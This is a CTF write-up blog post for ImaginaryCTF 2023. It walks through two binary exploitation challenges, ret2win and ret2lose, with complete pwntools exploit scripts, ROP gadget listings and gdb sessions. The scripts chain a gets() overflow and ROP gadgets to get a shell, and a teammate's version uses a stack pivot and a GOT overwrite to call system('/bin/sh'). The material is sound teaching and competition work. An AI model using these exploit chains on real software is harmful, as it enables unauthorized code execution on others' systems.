ImaginaryCTF 2023
I recently played imaginary CTF with my CTF team. I was one of the members that were doing pwn challenges and I was able to tackle some of which i will be showing in this article.
PWN CHALLENGES
ret2win
This one was pretty much straight forward and a bunch of guys were able to solve it. The source code was included as follows.
#include <stdio.h>
#include <unistd.h>
int main() {
char buf[64];
gets(buf);
}
int win() {
system("cat flag.txt");
}
We can use checksec
command to check the security mitigations that were applied to the given binary during compilation.
➜ ret2lose checksec vuln
[*] '/home/hacker/imaginaryctf/pwn/ret2lose/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
PIE is disabled therefore all the code addresses are static. This will favor the attack employed here since we will be knowing the exact addresses of the code before runtime. There is no canary thus we can overflow the buffer as we please.
This task will be a typical return to win function challenge. In such a challenge we are required to take control of the instruction pointer and redirect the execution to the win function. The gets()
function used in this case will give us the power to do so. From the man pages we get that it is literally impossible to limit the size of input that this funciton will take in!
We will be leveraging this bug in this blog to explore some interesting technique that happens to be done in the second challenge. Lets start with getting the offset.
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
elf = ELF("./vuln")
if args.R:
p = remote("ret2win.chal.imaginaryctf.org", "1337")
else:
p = elf.process()
gdb.attach(p , gdbscript="b *main+35")
payload = cyclic(100)
p.sendline(payload)
p.interactive()
We can run the script and the following is done in gdb
in order to reveal the offset to the instruction pointer. NOTE
: i am using vanilla gdb :)
0x00007fe7c4bf603d in __GI___libc_read (fd=0, buf=0x22532a0,
nbytes=4096) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
Breakpoint 1 at 0x401179
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000401179 in main ()
(gdb) set disassembly-flavor intel
(gdb) set pagination off
(gdb) x/x $rsp
0x7ffd77d37c08: 0x61616173
(gdb) !cyclic -l 0x61616173
72
(gdb) x win
0x40117a <win>: 0xfa1e0ff3
We get that the offset is 72
. In the above output i go ahead also to get the address of the win function which we shall use in the following script to successfully redirect code execution to it. Actually we could use pwntools's
power to get it automatically at runtime.
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
elf = ELF("./vuln")
if args.R:
p = remote("ret2win.chal.imaginaryctf.org", "1337")
else:
p = elf.process()
gdb.attach(p)
offset = 72
payload = b""
payload += b"\x90"* offset + p64(elf.sym.win)
p.sendline(payload)
p.interactive()
This fails , but in gdb
you can see that we were able to successfully redirect the code execution flow.
Program received signal SIGSEGV, Segmentation fault.
0x00007f647f281013 in do_system (line=0x402004 "cat flag.txt") at ../sysdeps/posix/system.c:148
148 ../sysdeps/posix/system.c: No such file or directory.
(gdb) bt
#0 0x00007f647f281013 in do_system (line=0x402004 "cat flag.txt") at ../sysdeps/posix/system.c:148
#1 0x0000000000401196 in win ()
#2 0x0000000000000000 in ?? ()
(gdb)
Now this raises a very interesting question , “what might have happened?”. Well remember we did overflowed the stack and thus at the time of calling the win function the stack is a mess, right? Therefore the code failed because of stack alignment issues , we can solve this issue by including a return gadget right after we overflow.
We can use ropper tool
to get the gadget as follows:
➜ ret2lose ropper -f vuln --search "ret"
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
[INFO] Searching for gadgets: ret
[INFO] File: vuln
0x000000000040101a: ret;
The final code snippet looks like this:
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
elf = ELF("./vuln")
if args.R:
p = remote("ret2win.chal.imaginaryctf.org", "1337")
else:
p = elf.process()
gdb.attach(p)
offset = 72
ret = 0x40101a
payload = b""
payload += b"\x90"* offset + p64(ret) + p64(elf.sym.win)
p.sendline(payload)
p.interactive()
ret2lose
Typically this and the earlier challenge uses the same files , but on this one one is required to get a shell in order to read another file in the server that contains the flag. This was a little hard i can say and required people to think out of the box.
One of the approaches i take on such challenges is i use ROPgadget
to get all gadgets in the binary pack that are available for us to use and then read the assembly code to see what exactly i can leverage because remember the specific security mitigations employed in this binary, only the code addresses are static. ASLR
will make sure that the library functions will not be known before runtime therefore using library functions is out of the bucket list , also there isn’t a function that we could use to leak addresses!
➜ ret2lose ROPgadget --binary vuln
Gadgets information
============================================================
0x0000000000401190 : add al, ch ; mov edx, 0x90fffffe ; pop rbp ; ret
0x00000000004010cb : add bh, bh ; loopne 0x401135 ; nop ; ret
0x000000000040109c : add byte ptr [rax], al ; add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401174 : add byte ptr [rax], al ; add byte ptr [rax], al ; leave ; ret
0x0000000000401175 : add byte ptr [rax], al ; add cl, cl ; ret
0x0000000000401036 : add byte ptr [rax], al ; add dl, dh ; jmp 0x401020
0x000000000040113a : add byte ptr [rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x000000000040109e : add byte ptr [rax], al ; endbr64 ; ret
0x0000000000401176 : add byte ptr [rax], al ; leave ; ret
0x000000000040100d : add byte ptr [rax], al ; test rax, rax ; je 0x401016 ; call rax
0x000000000040113b : add byte ptr [rcx], al ; pop rbp ; ret
0x0000000000401139 : add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401177 : add cl, cl ; ret
0x00000000004010ca : add dil, dil ; loopne 0x401135 ; nop ; ret
0x0000000000401038 : add dl, dh ; jmp 0x401020
0x000000000040113c : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401137 : add eax, 0x2efb ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x0000000000401017 : add esp, 8 ; ret
0x0000000000401016 : add rsp, 8 ; ret
0x0000000000401195 : call qword ptr [rax + 0xc35d]
0x000000000040103e : call qword ptr [rax - 0x5e1f00d]
0x0000000000401014 : call rax
0x0000000000401153 : cli ; jmp 0x4010e0
0x00000000004010a3 : cli ; ret
0x000000000040119f : cli ; sub rsp, 8 ; add rsp, 8 ; ret
0x00000000004010c8 : cmp byte ptr [rax + 0x40], al ; add bh, bh ; loopne 0x401135 ; nop ; ret
0x0000000000401150 : endbr64 ; jmp 0x4010e0
0x00000000004010a0 : endbr64 ; ret
0x0000000000401012 : je 0x401016 ; call rax
0x00000000004010c5 : je 0x4010d0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401107 : je 0x401110 ; mov edi, 0x404038 ; jmp rax
0x000000000040103a : jmp 0x401020
0x0000000000401154 : jmp 0x4010e0
0x000000000040100b : jmp 0x4840103f
0x00000000004010cc : jmp rax
0x0000000000401178 : leave ; ret
0x00000000004010cd : loopne 0x401135 ; nop ; ret
0x0000000000401136 : mov byte ptr [rip + 0x2efb], 1 ; pop rbp ; ret
0x0000000000401173 : mov eax, 0 ; leave ; ret
0x00000000004010c7 : mov edi, 0x404038 ; jmp rax
0x0000000000401192 : mov edx, 0x90fffffe ; pop rbp ; ret
0x0000000000401196 : nop ; pop rbp ; ret
0x00000000004010cf : nop ; ret
0x000000000040114c : nop dword ptr [rax] ; endbr64 ; jmp 0x4010e0
0x00000000004010c6 : or dword ptr [rdi + 0x404038], edi ; jmp rax
0x000000000040113d : pop rbp ; ret
0x000000000040101a : ret
0x0000000000401011 : sal byte ptr [rdx + rax - 1], 0xd0 ; add rsp, 8 ; ret
0x0000000000401138 : sti ; add byte ptr cs:[rax], al ; add dword ptr [rbp - 0x3d], ebx ; nop ; ret
0x00000000004011a1 : sub esp, 8 ; add rsp, 8 ; ret
0x00000000004011a0 : sub rsp, 8 ; add rsp, 8 ; ret
0x0000000000401010 : test eax, eax ; je 0x401016 ; call rax
0x00000000004010c3 : test eax, eax ; je 0x4010d0 ; mov edi, 0x404038 ; jmp rax
0x0000000000401105 : test eax, eax ; je 0x401110 ; mov edi, 0x404038 ; jmp rax
0x000000000040100f : test rax, rax ; je 0x401016 ; call rax
Unique gadgets found: 55
➜ ret2lose
We can get the assembly code of the binary using a debugger like gdb
as follows:
➜ ret2lose gdb vuln -q
Reading symbols from vuln...
(No debugging symbols found in vuln)
(gdb) set disassembly-flavor intel
(gdb) set pagination off
(gdb) disass main
Dump of assembler code for function main:
0x0000000000401156 <+0>: endbr64
0x000000000040115a <+4>: push rbp
0x000000000040115b <+5>: mov rbp,rsp
0x000000000040115e <+8>: sub rsp,0x40
0x0000000000401162 <+12>: lea rax,[rbp-0x40]
0x0000000000401166 <+16>: mov rdi,rax
0x0000000000401169 <+19>: mov eax,0x0
0x000000000040116e <+24>: call 0x401060 <gets@plt>
0x0000000000401173 <+29>: mov eax,0x0
0x0000000000401178 <+34>: leave
0x0000000000401179 <+35>: ret
End of assembler dump.
(gdb) disass win
Dump of assembler code for function win:
0x000000000040117a <+0>: endbr64
0x000000000040117e <+4>: push rbp
0x000000000040117f <+5>: mov rbp,rsp
0x0000000000401182 <+8>: lea rax,[rip+0xe7b] # 0x402004
0x0000000000401189 <+15>: mov rdi,rax
0x000000000040118c <+18>: mov eax,0x0
0x0000000000401191 <+23>: call 0x401050 <system@plt>
0x0000000000401196 <+28>: nop
0x0000000000401197 <+29>: pop rbp
0x0000000000401198 <+30>: ret
End of assembler dump.
(gdb)
Since what we need is a shell , we can focus on functions that look like they can achieve this.On the win function we see that a binary address is copied over to rax
then to rdi
respectively. Well ,do we have a gadget that can manipulate the string in either of this registers?
Apparently we don’t have a gadget that can complete the task at hand for us, luckily we have gets()
function and as you all know rax
register carries the return value of a function. Therefore we need gets()
function to get our malicious code to some address , then the address will be copied over to rax
register when the function returns. From there we need the gadget that was manipulating the rax
and rdi
register and then calling system
function respectively.
From the above assumption we can get this 0x00000000401189 <+15>:mov rdi,rax
gadgets address from gdb
, a gadget that does exactly what we want. From there the string we want to send to the second instance of gets()
function is cat flag.txt.
This will verify whether our theory works! The test script therefore will look like this:
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
elf = ELF("./vuln")
if args.R:
p = remote("ret2win.chal.imaginaryctf.org", "1337")
else:
p = elf.process()
"""
We need gets , to set the rax , then get a gadget to move whatever which is in the rax to rdi then call system.
"""
gdb.attach(p , gdbscript="b *0x401179")
offset = 72
onegadget = 0x401189 # will end up calling system; therefore looks like a onegadget address heheheh
ret = 0x40101a
payload = b""
payload += b"\x90"* offset
payload += p64(ret) + p64(elf.sym.gets) + p64(onegadget)
p.sendline(payload)
p.sendline(b"cat flag.txt")
p.interactive()
Sadly this fails, and on the gdb
tab we get an interesting issue that requires our undivided attention.
The string has been malformed! Therefore once we hit continue we get that the command is executed sucessfully but fails since there is no file called elag.txt
The next thing i did was brute forcing characters in order to figure out which character maps to letter f
which i got was g
. This weird changing of the 5th character i guess was the trick for the challenge. Now we can use this final script to get shell!
#!/usr/bin/env python3
# Author : trustie_rity
from pwn import *
context.update(arch="amd64",os="linux")
context.terminal = ['alacritty', '-e', 'zsh', '-c']
elf = ELF("./vuln")
if args.R:
p = remote("ret2win.chal.imaginaryctf.org", "1337")
else:
p = elf.process()
"""
We need gets , to set the rax , then get a gadget to move whatever which is in the rax to rdi then call system.
"""
#gdb.attach(p , gdbscript="b *0x401179")
offset = 72
onegadget = 0x401189 # will end up calling system; therefore looks like a onegadget address heheheh
ret = 0x40101a
payload = b""
payload += b"\x90"* offset
payload += p64(ret) + p64(elf.sym.gets) + p64(onegadget)
p.sendline(payload)
p.sendline(b"cat glag.txt ; bash -i")
p.interactive()
There you go : )
The approach i used for this challenge was pretty out of the ordinary for me and i was really thrilled to see what others did for the same. John Collins who was also looking at the pwn challenges for our team came up with very interesting solution. To be honest it would have taken me ages to think of something like that.
John says that the weird behaviour we get from gets()
function is unorthodox
to mean that we can not really explain it😂. At the time he was doing it he felt it was weird therefore left it and designed another solution which is pretty awesome i would say.
#!/usr/bin/python3
from pwn import *
context.binary = target = ELF("./vuln", checksec=False)
# r = process()
r = remote("ret2win.chal.imaginaryctf.org", 1337)
offset = 72
# addreses
main = target.sym.main
gets = target.got.gets
system = target.sym.system
# gadgets
ret = 0x40101a
add_rsp = 0x401016
# rbp
buf = b"A"*(offset-8)
buf += p64(gets+0x40)
buf += p64(main+8)
r.sendline(buf)
# overwrite
buf = p64(system)
buf += b"/bin/sh\x00"
buf += b"A"*(offset-24)
buf += p64(gets+0x48)
buf += p64(add_rsp)*400
buf += p64(main+8)
r.sendline(buf)
r.interactive()
This will be a stack pivot + GOT overwrite kind of a solution. The idea is that, our input is being read intorbp-0x40
, so we overwrite rbp
with the GOT
entry of gets()
function and then eventually overwrite gets with system 🙂
So just to make it clear the reason in the script John is sending gets+0x40
is because the data will be in stored ingets-0x40!
In gdb
this can be visualized as follows:
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
0x00007fe376d1a03d in __GI___libc_read (fd=0, buf=0xe282a0,
nbytes=4096) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
Breakpoint 1 at 0x401179
(gdb) set disassembly-flavor intel
(gdb) set pagination off
(gdb) c
Continuing.
Breakpoint 1, 0x0000000000401179 in main ()
(gdb) ni
0x000000000040115e in main ()
(gdb)
0x0000000000401162 in main ()
(gdb)
0x0000000000401166 in main ()
(gdb) disass
Dump of assembler code for function main:
0x0000000000401156 <+0>: endbr64
0x000000000040115a <+4>: push rbp
0x000000000040115b <+5>: mov rbp,rsp
0x000000000040115e <+8>: sub rsp,0x40
0x0000000000401162 <+12>: lea rax,[rbp-0x40]
=> 0x0000000000401166 <+16>: mov rdi,rax
0x0000000000401169 <+19>: mov eax,0x0
0x000000000040116e <+24>: call 0x401060 <gets@plt>
0x0000000000401173 <+29>: mov eax,0x0
0x0000000000401178 <+34>: leave
0x0000000000401179 <+35>: ret
End of assembler dump.
(gdb) x $rbp-0x40
0x404020 <gets@got.plt>: 0x76c98f30
(gdb) ni
0x0000000000401169 in main ()
(gdb)
0x000000000040116e in main ()
(gdb) disass
Dump of assembler code for function main:
0x0000000000401156 <+0>: endbr64
0x000000000040115a <+4>: push rbp
0x000000000040115b <+5>: mov rbp,rsp
0x000000000040115e <+8>: sub rsp,0x40
0x0000000000401162 <+12>: lea rax,[rbp-0x40]
0x0000000000401166 <+16>: mov rdi,rax
0x0000000000401169 <+19>: mov eax,0x0
=> 0x000000000040116e <+24>: call 0x401060 <gets@plt>
0x0000000000401173 <+29>: mov eax,0x0
0x0000000000401178 <+34>: leave
0x0000000000401179 <+35>: ret
End of assembler dump.
(gdb) ni
0x0000000000401173 in main ()
(gdb) ni
0x0000000000401178 in main ()
(gdb) ni
Breakpoint 1, 0x0000000000401179 in main ()
(gdb) x/b $rbp-0x40
0x404028: "/bin/sh"
(gdb) x/gx 0x404020
0x404020 <gets@got.plt>: 0x0000000000401054
(gdb) x 0x0000000000401054
0x401054 <system@plt+4>: 0x0f00002fbd25fff2
(gdb) ni
0x0000000000401016 in _init ()
(gdb)
To avoid stack alignments issues he uses the jump rsp
gadget to get the stack and registers to a normal state that would have otherwise not been achieved with the rigorous stack overflows!
Up to this point i hope you learnt one or two. Give me a thumbs up if you enjoyed the ride!